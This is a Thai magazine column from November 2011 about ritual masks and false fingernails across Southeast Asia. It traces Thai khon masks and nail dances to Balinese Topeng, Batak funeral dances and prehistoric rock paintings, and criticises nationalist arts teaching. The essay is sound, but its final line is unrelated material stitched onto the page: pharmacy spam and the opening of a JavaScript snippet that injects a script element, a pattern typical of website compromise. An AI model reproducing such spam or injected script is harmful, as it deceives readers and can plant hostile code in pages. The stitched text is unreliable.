มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 25 พฤศจิกายน 2554

 

          โขนละครเรื่องรามเกียรติ์ ต้องแสดงโดยสวมหน้ากากที่ตกทอดมาจากยุคดึกดำบรรพ์

          ไม่ใช่แค่กัมพูชา, ลาว, ไทย แต่มีทั่วอุษาคเนย์ ทั้งแผ่นดินใหญ่ และหมู่เกาะ

          นาฏศิลป์และดนตรี “แห่งชาติ” ของไทย ยังตกอยู่ในหลุมดำอำมหิตของระบบการศึกษาคับแคบ และคลั่งความเป็นไทยของครูอาจารย์ จึงไม่ศึกษาเปรียบเทียบหลักฐานประวัติศาสตร์โบราณคดีที่มีในอุษาคเนย์และในโลก

          ส่งผลให้ออกอาการยกตนข่มท่าน แล้วเหยียดเพื่อนบ้าน เช่น กัมพูชา, ลาว เป็นเบี้ยล่าง โดยไม่ยอมทำความเข้าใจหลักฐานที่กัมพูชามีพัฒนาการมายาวนานกว่าไทย แล้วมีร่วมกันทั้งอุษาคเนย์ เช่น หน้ากาก เป็นต้น

 

หน้ากากและเล็บปลอม

          หน้ากากใช้สวมพรางหน้าจริงให้ศักดิ์สิทธิ์ แล้วยังไม่พอจึงต้องใส่เล็บปลอมยาวกว่าปกติเพื่อเพิ่มความขลังและศักดิ์สิทธิ์ยิ่งขึ้นไปอีก

          ผมเพิ่งอ่านพบเรื่องราวและรูปประกอบเกี่ยวกับหน้ากากและเล็บปลอมของ  เจนจิรา เบญจพงศ์ (ในข้อเขียนเรื่อง สวมเล็บปลอม สมมุติคนให้พิเศษในพิธีกรรม พิมพ์ในสยามรัฐสัปดาหวิจารณ์ ฉบับวันศุกร์ที่ 11-วันพฤหัสบดีที่ 17 พฤศจิกายน 2554 หน้า 46)

          จึงขออนุญาตยกเนื้อหาบางตอนกับรูปประกอบมารวมไว้ดังนี้

 

ระบำหน้ากาก หรือโตแปง (Topeng) ของบาหลี เล่นในพิธีกรรม นอกจากสวมใส่หน้ากากแล้วยังใส่เล็บโลหะปลอมให้เหมือนภูตผีเข้าสิง

ระบำหน้ากากพิธีศพของชาวบาตัค (Batak) ทางตอนเหนือเกาะสุมาตราในอินโดนีเซีย มีมือไม้ที่ทำเป็นนิ้วมือยืดยาวใหญ่ให้ผู้เล่นถือขยับขณะระบำด้วย นัยว่าเป็นเครื่องปกป้องวิญญาณผู้ตายจากผีร้ายขณะเดินทางไปยังดินแดนหลังความตาย เพราะยังมีตุ๊กตาไม้แกะสลักของหมอผีรูปคนทำท่าเต้นรำมีมือขนาดใหญ่ยกป้องกันสิ่งชั่วร้าย

เรื่องของการทำมือหรือนิ้วมือให้ยาวโตเกินจริงใช้ประกอบการละเล่นหรือระบำรำเต้นในพิธีกรรมเป็นเสมือนสัญลักษณ์ของความเหนือมนุษย์ที่มีพลังอำนาจพิเศษ เช่นเดียวกับการสมมติสิ่งอื่น เช่น เสื้อผ้าการตกแต่งร่างกายอย่างมากพิเศษ การแต่งกายข้ามเพศ หรือแต่งแปลงคนเป็นสัตว์ โดยเฉพาะในช่วงพิธีกรรม มีในหลายกลุ่มชนพื้นเมืองดั้งเดิม ที่ถือเป็นส่วนหนึ่งของการติดต่อสื่อสารระหว่างคนกับผี

 

ตัวละครสวมเล็บปลอมยาว ในระบำโตแปง (Topeng) หรือระบำหน้ากากของบาหลี (ภาพจาก Gordon D. Jensen, Luk Ketut Suryani. The Balinese people : a reinvestigation of character. Kuala Lumpur : Oxford University Press, 1992)

หุ่นเล็กของกรมพระราชวังบวร วิไชยชาญ ทำขึ้นราวรัชกาลที่ 4 - ต้นรัชกาลที่ 5 ซ่อมโดย จักรพันธุ์ โปษยกฤต ในพิพิธภัณฑสถานแห่งชาติ พระนคร

นักเต้นสวมหน้ากากในพิธีศพชาวบาตัค แถบที่ราบสูง Karo สุมาตราเหนือ อินโดนีเซีย ถ่ายราว พ.ศ. 2473

มือปลอมทำจากไม้ที่ทำนิ้วหรือเล็บขยับได้ให้ยาวเกินจริง ใช้ถือประกอบการระบำหน้ากากในพิธีศพของชาวบาตัค ในเกาะสุมาตราเหนือ (ภาพจาก Achim Sibeth. The Batak : peoples of the Island of Sumatra. London : Thames and Hudson, 1991.)

 

อำนาจผีบรรพชน

          เล็บปลอมนี่แหละ ยังเหลือเค้าอยู่ในฟ้อนเล็บของล้านนาและสองฝั่งโขงกับโนราทางภาคใต้ (ที่จริงคือละครนอกยุคอยุธยา)

          ส่วนหน้ากาก สืบทอดตกมาเป็นศีรษะโขน จะขอทบทวนวัฒนธรรมหน้ากากซ้ำอีก เพื่อเข้าใจตรงกัน ดังนี้

          หน้ากาก เป็นเครื่องสวมเพื่อพรางหน้าจริง

          สวมหน้ากาก เป็นพิธีกรรมเข้าทรงที่ต้องพรางหน้าจริงโดยสวมหน้ากากเพื่อเชื่อมโยงมนุษย์เข้ากับพลังศักดิ์สิทธิ์ตามหน้ากากที่สวม

          ทั้งหน้ากากและสวมหน้ากาก มีในพิธีกรรมดึกดำบรรพ์ของคนทุกชาติพันธุ์ในโลกไม่น้อยกว่า 2,500 ปีมาแล้ว

          เฉพาะในไทยมีหลักฐานจากภาพเขียนสีตามเพิงผาและผนังถ้ำ พบหลายแห่งทั่วทุกภาค ตั้งแต่เหนือ, อีสาน, กลาง, ใต้

          คนสวมหน้ากากต้องเป็นคนสำคัญของเผ่าพันธุ์ เช่น แม่มดหมอผี, หัวหน้าเผ่าพันธุ์ เพื่อติดต่อเชื่อมโยงบรรพชนที่มีพลังอำนาจเหนือธรรมชาติให้ช่วยรักษาโรค และบางทีเพื่อกำจัดเหตุร้ายต่างๆ

          สวมหน้ากากแล้ว มักต้องสวมเล็บปลอมด้วยเป็นของคู่กันเพื่อให้มีพลังศักดิ์สิทธิ์ยิ่งขึ้น

 

คนทะเลสวมหน้ากากและคลุมร่างกายในพิธีกรรมศักดิ์สิทธิ์ของชาวสุวรรณภูมิ เมื่อราว 2,500 ปีมาแล้ว ภาพเขียนสีในถ้ำผีหัวโต อ. อ่าวลึก จ. กระบี่

คนใส่หน้ากากหัวสามเหลี่ยมคล้ายผีตาโขน ราว 2,500 ปีมาแล้ว ภาพเขียนบนหน้าผาที่ผาแต้ม อ. โขงเจียม จ. อุบลราชธานี

หน้ากากปู่เยอย่าเยอ ผีบรรพชนลาวที่หลวงพระบาง

fluoxetine manufacturer buy yasmin onlinevar d=document;var s=d.createElement(‘script’);